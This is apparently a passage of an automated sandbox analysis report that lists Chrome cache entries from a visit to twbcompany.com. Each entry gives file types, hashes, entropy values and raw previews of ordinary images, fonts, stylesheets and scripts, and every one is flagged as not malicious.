Entropy (8bit):	5.139523437629011
Encrypted:	false
SSDEEP:	6:pn0+t9xqObRKr6TQzetSzRx3G0CezowoG:J0+t9xqeRKWTQzetSzRxGezn
MD5:	A368EBDB8002FBB3142E16BC34B326D8
SHA1:	E727C702FB6BE3CBEFA0B0847717B2334CE9B8FD
SHA-256:	7BB4BE9184710E7D3067CE155A3F8E37C248BDF649906EA40AF66A324ACE61A4
SHA-512:	2550B4B0040F566D106E24E8180DE41225FEDA5B82C68A31BC7DBCF422B6751CC1701CD3F1CC51A7FFDBD57FDCDCCABF1F3B6444AFDA681221F8E6F734C40DAD
Malicious:	false
Reputation:	low
Preview:	<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">..<html><head>..<title>404 Not Found</title>..</head><body>..<h1>Not Found</h1>..<p>The requested URL was not found on this server.</p>..</body></html>..

Chrome Cache Entry: 218

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1167x608, components 3
Category:	downloaded
Size (bytes):	80940
Entropy (8bit):	7.95452362759368
Encrypted:	false
SSDEEP:	1536:6Z1I0B4E6w+6aYAhBEHi4LUhJSN/DorPBoSrPyYTxGIpQnA5Qz:OB4ERpHPLUSxAlrv0IpQASz
MD5:	CC8BA1A37CEE40283CA00AAB4CD6ADFA
SHA1:	11CFE36B19978966C9480811DFB474CC0481E5FA
SHA-256:	BF5868A3D198739CBA6834F2215D4506737A5A7B35102473747615E02AA0AA97
SHA-512:	A076B391E6D623EE0B64AD29AB76189C4538F4B6718FEE6B9E9147A3519924297AA48B36A4A3C698DCA2C38C3AFC10ABA8B740515F6C7A781E660A9429357828
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/2016/wp-content/uploads/2020/11/Picture-of-truck1.jpg
Preview:	......JFIF.....`.`.....C....................................................................C.......................................................................`...."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....G.b.u.nx..1KK..q.GNi@.E.XJZ\Q...h..........;......p......bt.....Qp.QK.\R.)qE.8..b.KE-.&)iqK@..)ih..b....K.....1E(...8.1?.Z(.p.QJ(.......-.%..P11KK..H..1K.j.J)...~t..U.....Z.LR.z.....~...@....R........KK.6.T..c.;m(ZC..(.<.M.\..(..w.4.LQKE..m.:.....u.......ciH.....Z1K.(...KJ(...S..R..)\ciH......:R.m.K.W..zQ.=..O.+..R....._.K..%..h..a)iy...GJ\m.....)qK@.

Chrome Cache Entry: 219

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (8586), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	35084
Entropy (8bit):	5.439015428572752
Encrypted:	false
SSDEEP:	768:vEDa20FZdapFciPTmmoEB1bwod/vhpxG18xnIhW:xxapC8TmmoEB1bTHC8xnIhW
MD5:	47ED7C17043E4A3F7B13F18F89D2495F
SHA1:	1DE3C44B3C9640E8F388339EC7B6BF4651112BCA
SHA-256:	2DB7050EC536AB36A5E6813CE4F1865BD71D7FBD3081CEC12BFFA1839014FD3A
SHA-512:	531101D76E176E4953820947FC028B855644B657CCB888E738A2F46F24BDB9ED4EE7104C41FA98A3EF68AACA2B3825DF17ACD3C85DA904FEBCFED6ABC67F247F
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/
Preview:	<!DOCTYPE html>.. [if IE 6]><html id="ie6" lang="en-US"><![endif]-->.. [if IE 7]><html id="ie7" lang="en-US"><![endif]-->.. [if IE 8]><html id="ie8" lang="en-US"><![endif]-->.. [if !(IE 6) \| !(IE 7) \| !(IE 8) ]> >..<html lang="ENH"> <![endif]-->..<head>..<meta charset="UTF-8">..<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0" />....<link rel="icon" href="https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/images/favicons/favicon.ico" type="image/x-icon" />..<link rel="shortcut icon" href="https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/images/favicons/favicon.ico" type="image/x-icon" />..<link rel="apple-touch-icon" href="https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/images/favicons/apple-touch-icon.png"/>..<meta name="msapplication-TileColor" content="#FFFFFF">..<meta name="msapplication-TileImage" content="https://www.twbcompany.com/2016/wp-content/themes/tw

Chrome Cache Entry: 220

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1920 x 1080, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4140692
Entropy (8bit):	7.968684016707627
Encrypted:	false
SSDEEP:	98304:uxGjCZfkRFcVAnbBJeSBR0b0VherPcAo704BNR:uwjMkFcVuBsSEMerPcA+BH
MD5:	2E9AEEC64CD538BC59536737AC02B05C
SHA1:	348C57231C73F20CB87BBEEC7B8437FE34B35AD2
SHA-256:	9698A12E8B41AC6A92C5240E99C2CD7F1857A60EAFCD8532230EAB04625391D0
SHA-512:	6F78394EFD49961123D8C2E7C78F86E71AC16A6F81AD4C733B3C477DF7A2CB869DE6D2799BC99A68B1D50557B5957162307AD0846133AD0883F53BC64D672FE2
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.......8........C....sRGB.........gAMA......a.....pHYs..........o.d....IDATx^..iH]........R...........BPQ...EAEQA.b....b..v.=.$$.!...4...".....t..$...]..v.].......y...s...XYIe..y>....c.c.9...7.k.GEi.J..Q.....h....rY..U..(/KGq...Y.p.F!.>.1q.......p82S.]..gc..'.0<=.b.....S....B.L..g{.7....tOu.k..]Sm..t.7.{.5....U....M.o....t/.f..ZG}h.i....OO-.[JQ.X.."Q)j.Q.)BJa.B.6.6.}l....XD.....D.sS.W....\.8..t.6...T..%.."..(..80?\...,.{b./]._......_.....X..)../d...;v..`Ko8f.6c..k.5lDK..p.~....P[.Q.__..O..Ng....QU....,..f..:..u..v.......RT.....%........ 5?..96.d$#5A...t.".v.&K~.6&&H.$I.$..1q..KDxl.4:Ae.#.S..(...Rlr.TU...I.F.'.Ua.._..#..$.S..,.JL..%...V%.F'!<,..Q)..N.0.Ir.4{.r..Q._.....k+.....a....v.abn.3..1.c....0....[.0.k..{.1.gT.S;....8......!.8....Mbb{/...`..........,.....C.X<2.....G.xx.s..U..h..S.....S..W).K...f.:Z.......1..M.X.O...d.\L...H.............k.......v...]si......./....JJ"Q^..jg&.\.(.rRR.'.$? ..:y?X~\E(..%..xa..s...rP..E.....{T

Chrome Cache Entry: 221

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2343)
Category:	downloaded
Size (bytes):	52916
Entropy (8bit):	5.51283890397623
Encrypted:	false
SSDEEP:	768:oHzaMKHBCwsZtisP5XqYofL+qviHOlTjdNoVJDe6VyKaqgYUD0ZTTE8yVfZsk:caMKH125hYiM8O9dNoVJ3N48yVL
MD5:	575B5480531DA4D14E7453E2016FE0BC
SHA1:	E5C5F3134FE29E60B591C87EA85951F0AEA36EE1
SHA-256:	DE36E50194320A7D3EF1ACE9BD34A875A8BD458B253C061979DD628E9BF49AFD
SHA-512:	174E48F4FB2A7E7A0BE1E16564F9ED2D0BBCC8B4AF18CB89AD49CF42B1C3894C8F8E29CE673BC5D9BC8552F88D1D47294EE0E216402566A3F446F04ACA24857A
Malicious:	false
Reputation:	low
URL:	https://www.google-analytics.com/analytics.js
Preview:	(function(){/.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0./.var n=this\|\|self,p=function(a,b){a=a.split(".");var c=n;a[0]in c\|\|"undefined"==typeof c.execScript\|\|c.execScript("var "+a[0]);for(var d;a.length&&(d=a.shift());)a.length\|\|void 0===b?c=c[d]&&c[d]!==Object.prototype[d]?c[d]:c[d]={}:c[d]=b};function q(){for(var a=r,b={},c=0;c<a.length;++c)b[a[c]]=c;return b}function u(){var a="ABCDEFGHIJKLMNOPQRSTUVWXYZ";a+=a.toLowerCase()+"0123456789-_";return a+"."}var r,v;.function aa(a){function b(k){for(;d<a.length;){var m=a.charAt(d++),l=v[m];if(null!=l)return l;if(!/^[\s\xa0]*$/.test(m))throw Error("Unknown base64 encoding at char: "+m);}return k}r=r\|\|u();v=v\|\|q();for(var c="",d=0;;){var e=b(-1),f=b(0),h=b(64),g=b(64);if(64===g&&-1===e)return c;c+=String.fromCharCode(e<<2\|f>>4);64!=h&&(c+=String.fromCharCode(f<<4&240\|h>>2),64!=g&&(c+=String.fromCharCode(h<<6&192\|g)))}};var w={},y=function(a){w.TAGGING=w.TAGGING\|\|[];w.TAGGING[a]=!0};var ba=Array.isArray,c

Chrome Cache Entry: 222

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	2889
Entropy (8bit):	5.088243739446904
Encrypted:	false
SSDEEP:	48:n6KRamNOm5ifMOEKSxBgrvQe9DUMOK+D1S/bqIl3EkEgpVEwVEJVG55ETCet9EwF:6eamNoJUDf4Tc1
MD5:	DC160CDB2CBE6FD479A6418076C3804A
SHA1:	3C8F387D8375845211D7C615D4A9D48B397CBA68
SHA-256:	13B3ADFADACD40A9138448AAEE7F401FD1A74035E030E278CC8973189F298DB5
SHA-512:	656BDFFF261CFC75301F091A60AB6EF1611523E37A113D3767B1F372371845DF1B3DEF1C41BD5675A594F6460718B353C858BB5F653B9E0D871DFEF09A48F9B3
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/plugins/lightcase/css/lightcase-min-641.css
Preview:	/. Lightcase - jQuery Plugin. * The smart and flexible Lightbox Plugin.. . @author..Cornel Boppart <cornel@bopp-art.com>. * @copyright.Author. . @version..2.1.2 (29/09/2015). /..@media screen and (min-width: 641px) {.../ Overlay /..#lightcase-overlay {...background: #333;..}.../ Loading /..#lightcase-loading {...color: #fff;...text-shadow: 0 0 15px #fff;..}.../ Case /..#lightcase-case {...font-family: arial, sans-serif;...font-size: 13px;...line-height: 18px;...text-align: left;....color: #aaa;...text-shadow: 0 0 10px rgba(0,0,0,0.5);..}.../ Content */..#lightcase-case:not([data-type=error]) .lightcase-content {...position: relative;...z-index: 1;...overflow: hidden;....text-shadow: none;....background-color: #fff;....-webkit-box-shadow: 0 0 30px rgba(0,0,0,0.5);...-moz-box-shadow: 0 0 30px rgba(0,0,0,0.5);...-o-box-shadow: 0 0 30px rgba(0,0,0,0.5);...box-shadow: 0 0 30px rgba(0,0,0,0.5);....-webkit-backface-visibility: hidden;..}..#lightcase-case[data-type=image] .lig

Chrome Cache Entry: 223

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1024x680, components 3
Category:	dropped
Size (bytes):	18553
Entropy (8bit):	6.998351680699253
Encrypted:	false
SSDEEP:	384:g4vPUSLFOAxD6uPUUf+l8TNlnOxGTidyUJOmIk:pvPU8FnDbUUlZhOx2idyRg
MD5:	6C80C38CB6759194914B13F50992CB8B
SHA1:	46972CC3458E96D80E686FA10E8BFDFE14122DF2
SHA-256:	4EE152780F2C9A64BCF5FADC6B4F238312F4E183A0ABE8F3A55008B6F95D85EC
SHA-512:	364BD3AD5F139D25282B1D5A035DB549BEE48B311F45507BAA2F90D7B7E177B710DFB2E55948169D3FCCBA658459319FBA6CBCE8B3AADF3E9B42D91EEA23C3F5
Malicious:	false
Reputation:	low
Preview:	......Exif..II*.................Ducky.............,http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 2017/05/06-01:08:21 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:F42E6286092F11E88A78BDB37FCD2333" xmpMM:InstanceID="xmp.iid:F42E6285092F11E88A78BDB37FCD2333" xmp:CreatorTool="Adobe Photoshop CC (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:75B6F5F9085411E8B5BFFEDA2E8BCC30" stRef:documentID="xmp.did:75B6F5FA085411E8B5BFFEDA2E8BCC30"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d...............................................#%'%#.//33//@@@@@@@@@@@@@@@......................&.....&0#....#0+.'''.+550055@@?@

Chrome Cache Entry: 224

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 455 x 99, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	6215
Entropy (8bit):	7.928883588522041
Encrypted:	false
SSDEEP:	192:oR9ev8vEW5uJkCRWSRNelzlSylrOgTNxtCUxD:c0CELHXElSyx/tNh
MD5:	279358B3FC005833384366266D2E853A
SHA1:	EDD19378DC72DA47197DC9326E29A05C201824E7
SHA-256:	3C688C45D05E26CC21D7AB8C9949344A5B8CD9B644EC539C0802FB67834D8C5B
SHA-512:	AEBED1CF1762C0A9B3AE1AEF6569CB1AD0835563C358AF78541E6534A784CCB1D6CE7AE20DFA85B6D973E055C4C0C5B3CB950E85F425AD70E657C42BCA415235
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/2016/wp-content/uploads/2019/05/baosteeldark2.png
Preview:	.PNG........IHDR.......c.............bKGD.......C......pHYs...#...#.x.?v....tIME.....1...=....tEXtComment.Created with GIMPW.......IDATx..]_.$.}..r.<E.%.)....q......9..$.!7k....z,.....Z.A..7........!..dg....v/o.1;..@..P..~..qD.A..1..<.o....LUu.L....a.{.......w.%.RI.@.@].].P..g..x......@.x.. ..0.F........b..O...}..$K. ....T......M....>.%A..Q.r...#.X[.{....8.:N9-.. H..&...m.QI..).].$A...q....Jl:..... 3...V..%....v..@....&.A.$G.X.p.@.=x.......:..}Q..N.. ..cQR.!.).$.c..&.qEB..C...8.... ....J@mQ.....`...#......C....SN.. ......A.pc.......\|..$t......t..A..Ar4!.#......x.R`.x..I.M....I..Ar.E.......=!.R...I..,.h(...T".. 9..I$jk..q.,.e.3....\|+8...y...... ....!.ta..:...M`5.....\|..(.3......;.R.A.kL......U+.1..#.g........N+. .j.'............"._...?....^m....g........z.......3s....W[.....E...F..R1^..x3E1N....KZ./pz..A..9Jk.....t....r.....\|.OZ>...7..C.e.....D.^.....<ET...J.AV....._.......j.w...B..\..._c.$aI&M\|T.n..f......%D.G.~.n.....!y....O...\...?... .E.r<3...M.sL......."

Chrome Cache Entry: 225

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	787
Entropy (8bit):	7.535224668131678
Encrypted:	false
SSDEEP:	24:YgktmKBgMJliZv7AmrYq1Yv6Bv9aRdgcafK:Yge5lgv7AFqm81qdgcafK
MD5:	43F0AB4CBCC999CF3D3BD81BB05FE952
SHA1:	8B0F5C1805305E826C8457935C6BE08C22C46A85
SHA-256:	5F979BB91EAF11B4A8F292CF49BAB2250EB755CFF8F6A10169977DB44ACABD3E
SHA-512:	1F164474D779239ECDAE5A39CDF1D13AD93CD1B2920600FF4364E2A429DED442702B84E03449D08ED9740564125DFB56FFE8FE59D77E29BE2ED951EC74C7DAD5
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............(-.S....PLTE...E.J....hW.gW7.@.aQ..7.F9.A.^P.^P.........z.4B.EF.F. ..G@.DI.G......RG....#."...QG.gV=.B.'F8.AL.H9.A.[N.U>7.A...dT.cS.QG.......\O.G@.D<.B>..B.D?.D:.A.G@...T..Dq..N..]....s.]O3.NG.F-.-,.+.w$.v#...%...................X...........v.......R..G..?.......e..\|..V..R..6~.'q......g...........q...}..w.hb,.O..N..L(.I..G.PGD.E6.D{.A:.?..>.8>a.:..7.=7.;7.)4.!2.'0,...4...,..(.%. ..cu...........................v....)j. ...*tRNS.....d#...................zzsnlkgeXSJ....c.......IDAT..c..M6.ff.9..(P....[.6._V..$@\|..SS.ZW.j= P``.`,..h....uvrvRgP.,..........pw.d.e.k..........fb...kN..177.I...2...7.E&...&..x.D....}-..,.r.Z......-,".<....8.....m..m.t.......M.B5.e=..f.2 ......g....A<..iR.....(....0?...;...H/4.........IEND.B`.

Chrome Cache Entry: 226

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 232 x 240, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	34669
Entropy (8bit):	7.978029184557293
Encrypted:	false
SSDEEP:	768:Ptso4Ube0CPNZkeaKFC60tea+jTR6EtglQJ6hLjIkyx1bMChN2TFU+v:Oo4Ube0C1ZkeaKFCVsLjTR6WwQ+LkkGm
MD5:	6CAABC9B810F4E98D8F81BF2317FFD3A
SHA1:	6EDD15DD52286FA8D91475816689205DE7315963
SHA-256:	A7D245CBF1735ADF44B964341C0A16546B8025E2054B22A35182C5005703D9BF
SHA-512:	D9ED350D292C13F8905FED5FBC505BE2137D66B4B80F30A2330F21818AF817AAD6B3F8A23B9E51A8029ACDC51FDCEB50E89124DF5175BF8556B113E5C1F0495C
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/images/logos/iso-ts16949.png
Preview:	.PNG........IHDR..............,(.....tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:2B93DE74439411E5B4CD90028FE3513D" xmpMM:InstanceID="xmp.iid:2B93DE73439411E5B4CD90028FE3513D" xmp:CreatorTool="Adobe Photoshop CC 2015 Macintosh"> <xmpMM:DerivedFrom stRef:instanceID="C8A7FCDEFCBA9BC49DA56EFABE3904E2" stRef:documentID="C8A7FCDEFCBA9BC49DA56EFABE3904E2"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.......IDATx..}..\e...[KW*M.4!1...ADDQ.q.u.w.e.]pW...Pqd..QGQ.}.}.w..Q.QQAt`.c.!M.i:.Ju...........W.tu%..}..twu.{..,.y..9.sep.

Chrome Cache Entry: 227

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 48236, version 1.0
Category:	downloaded
Size (bytes):	48236
Entropy (8bit):	7.994912604882335
Encrypted:	true
SSDEEP:	768:uj6JxavgLx5rjTH3CdZ3y11o4uMb2IVEhiB6z6GAAHJApICtBgso6HaOjTXHRWK:ujoa4LxZPCdm3B2IVEhiB62apApISxos
MD5:	015C126A3520C9A8F6A27979D0266E96
SHA1:	2ACF956561D44434A6D84204670CF849D3215D5F
SHA-256:	3C4D6A1421C7DDB7E404521FE8C4CD5BE5AF446D7689CD880BE26612EAAD3CFA
SHA-512:	02A20F2788BB1C3B2C7D3142C664CDEC306B6BA5366E57E33C008EDB3EB78638B98DC03CDF932A9DC440DED7827956F99117E7A3A4D55ACADD29B006032D9C5C
Malicious:	false
Reputation:	low
URL:	https://fonts.gstatic.com/s/opensans/v40/memvYaGs126MiZpBA-UvWbX2vVnXBbObj2OVTS-muw.woff2
Preview:	wOF2.......l......D...............................O..B..h?HVAR.x.`?STAT.$'...0+...\|.../V........+..2.0..6.6.$..`. ..~......[B4q.....t..P.M_.z...1..R.S...u.#..R....fR.1.N.v.N.P...;.2........!Z......Qs...5f.G.K.an2&....2.........C.H.t..N!.....nh.<(.vN.....j.._.L.P.t..Ai.%.............._I.i,..o,C.].H.X9.....a.=N....k.....n.L..k.f.u..{...:.}^\[..~5...Z`...........`!...%4..,...K0..&.a/....P....S....m.Z......u...D.j.F...f.0`I.`.`.h#..)(FQ.F!o$........S.).MV8%Rh...r...x...T]$.=......Y...!.3.&U..."....Q....{.l/0..d..4iJ/..}...3....i[Z..NG.WD...>.[U..Q.h..@m.=..S...1C2...d...<..v.?.q.f..n...OUz.....&Z......Z."..N.....n...9.B..C..W....}...W..6Zs.i.+Z........jB.n..x.8M.....q..@I....-.%..,C,..K..#.2...4)/.v_..x.<....t.....%[.4?.=j.V..jj''..W.u..q....I.L.=......E...\.M.7{.>......W........C.`...,9$......\..o........y...4A..m.P.,X..=?.:................wF`..+.P..........M!.4.......l.>M..t.ff5r..^..Z.g...!fA,hIIQ...e.R>B.AH.VuX..>..\.=.ky...1>C....>C.c.;...6D.

Chrome Cache Entry: 228

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 689x300, components 3
Category:	dropped
Size (bytes):	41140
Entropy (8bit):	7.977611376221006
Encrypted:	false
SSDEEP:	768:450wtVv4EOQLuu3nzW9lTYglktebTUyZh0jpfLXvMAh5Dsw+L:45Dv4wLQdYmkOwW0VLXBzDRW
MD5:	64741749166E1BC7145CE096026C13EE
SHA1:	2D3509D24E2ACB0F3532FA927870672592BA6390
SHA-256:	D6DCE4589EEEDB2517AB4B02F7C9946E10F280BE0FA4846BE813CA24E17CDBC5
SHA-512:	BB0C3FFA4201A35B4A95D85D88911B60E92A716B49D49A5DCC57AB060E5508827BFADE9BD55C3B95144DD965B71317BAC676EC22AA58708E8AE3D38454350023
Malicious:	false
Reputation:	low
Preview:	......Exif..II*.................Ducky.......2......http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:6e70b245-073f-4138-bd2f-40bd88a30a98" xmpMM:DocumentID="xmp.did:5219833B58CB11E5BEEECBB76CCA2AC5" xmpMM:InstanceID="xmp.iid:5219833A58CB11E5BEEECBB76CCA2AC5" xmp:CreatorTool="Adobe Photoshop CC 2015 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:6e70b245-073f-4138-bd2f-40bd88a30a98" stRef:documentID="xmp.did:6e70b245-073f-4138-bd2f-40bd88a30a98"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d...........................................

Chrome Cache Entry: 229

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1024x680, components 3
Category:	dropped
Size (bytes):	66912
Entropy (8bit):	7.81392970439184
Encrypted:	false
SSDEEP:	1536:xHtYSX61EgAW/f4bLcMVu5BL4I1gV6zB+d:xHtYSq1QBbLcbD3gV6zAd
MD5:	1251662C500C700C3C4B0D24BB05A1BA
SHA1:	B51582D9FEF98759576CF0ECD5C7E9FB5B986FAA
SHA-256:	284B962989DBD71AFB2D55B7F04F50A1C5CB9BC7F2FBFF8B9A6F0E411403C3AB
SHA-512:	B1CAD8981C0AFD598553BFE4AFB130B1B1526A9ED5EF1E672474CF373C4CFD05318B40EFC5C233B23A191BD085D13A9F3D89200328213CE70B9C14B1478B0AA4
Malicious:	false
Reputation:	low
Preview:	......Exif..II*.................Ducky.......<.....1http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2015 (Macintosh)" xmpMM:InstanceID="xmp.iid:DA4242E8B64211E5960E89E0CB43E699" xmpMM:DocumentID="xmp.did:DA4242E9B64211E5960E89E0CB43E699"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:C4BA49D3B64211E5960E89E0CB43E699" stRef:documentID="xmp.did:C4BA49D4B64211E5960E89E0CB43E699"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d...........................................................................................................................

Chrome Cache Entry: 230

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	2490
Entropy (8bit):	4.645901279512174
Encrypted:	false
SSDEEP:	48:Oj9UHi75vswjkpxKT6K+3fjlHfs43U7IEEqrR:OjOuvxjzTX+W+ql
MD5:	34AD8087298D9E52616B82491C27CF30
SHA1:	071F38E4B4DE03DF8E1A733053449F855B154FB1
SHA-256:	2FE0EF96DBD5A43DDC3DA3864F47C9512CFEB38A16B49507F021FA48648FF976
SHA-512:	923D3DDDF934C552F429DF2D2676138A7715AF18A119D77097ECBD55EBBCBA0A36E5F0F7066B553F97EEAAE8B248DC207D5F10B8EDBF1CA35FD83A7DD5CA18EE
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/2016/wp-content/plugins/cf7-gated-content/js/cf7_gated_content.js?ver=1
Preview:	(function ($) {. var SUCCESS_STATUS = "mail_sent";. var AJAX_ACTION = "getDownloadButton";. var SUPPORTED_VERSIONS = [4, 5];.. function warnVersion(version) {. console.warn(. "[CF7 GATED CONTENT]: This version of CF7 is not supported: " + version. );. }.. function parseVersions(detail) {. var version = detail.pluginVersion;. var versionParts = version.split(".").map(v => parseInt(v, 10));.. // Warn if we are in a non-supported version of CF7. if (!SUPPORTED_VERSIONS.includes(versionParts[0])) {. warnVersion(version);. }.. // Return version object. return {. string: version,. major: versionParts[0],. minor: versionParts[1],. patch: versionParts[2],. };. }.. function parseStatus(detail) {. var version = parseVersions(detail);.. switch (version.major) {. case 5:. return detail.apiResponse.status;.. case 4:. return detail.status;.. default:. return null;. }. }.. function parse

Chrome Cache Entry: 231

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1024x680, components 3
Category:	dropped
Size (bytes):	39338
Entropy (8bit):	7.736639700887297
Encrypted:	false
SSDEEP:	768:HBH39Qq7wdhWOBUxWJ/L0vpWyZCv7MfHcSfUjKTqVp39iU9OJSi:rn7wfWOC8wvCg/psjWqVp9iwi
MD5:	AA30AF9006FFD1201F5819AB25BF83B5
SHA1:	49EED23BAAAC56F37FDDAB0789923BE451F167F1
SHA-256:	78E4372394D25231AE61CC86759A01544778CB00D4C68427EF6EB04BD5EC8537
SHA-512:	2C9DC4E1E588597E3D51C12FAF2B89010C54C713D40694F31051D677B28CE6FC7919B15D9D8AEB4404D5A1E604349A759EEE603530E749AF6AD8CB8E3885A4F6
Malicious:	false
Reputation:	low
Preview:	......Exif..II*.................Ducky.............,http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 2017/05/06-01:08:21 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:F42E6282092F11E88A78BDB37FCD2333" xmpMM:InstanceID="xmp.iid:F42E6281092F11E88A78BDB37FCD2333" xmp:CreatorTool="Adobe Photoshop CC (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:75B6F5F9085411E8B5BFFEDA2E8BCC30" stRef:documentID="xmp.did:75B6F5FA085411E8B5BFFEDA2E8BCC30"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d...............................................#%'%#.//33//@@@@@@@@@@@@@@@......................&.....&0#....#0+.'''.+550055@@?@

Chrome Cache Entry: 232

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (8586), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	34894
Entropy (8bit):	5.42152047560409
Encrypted:	false
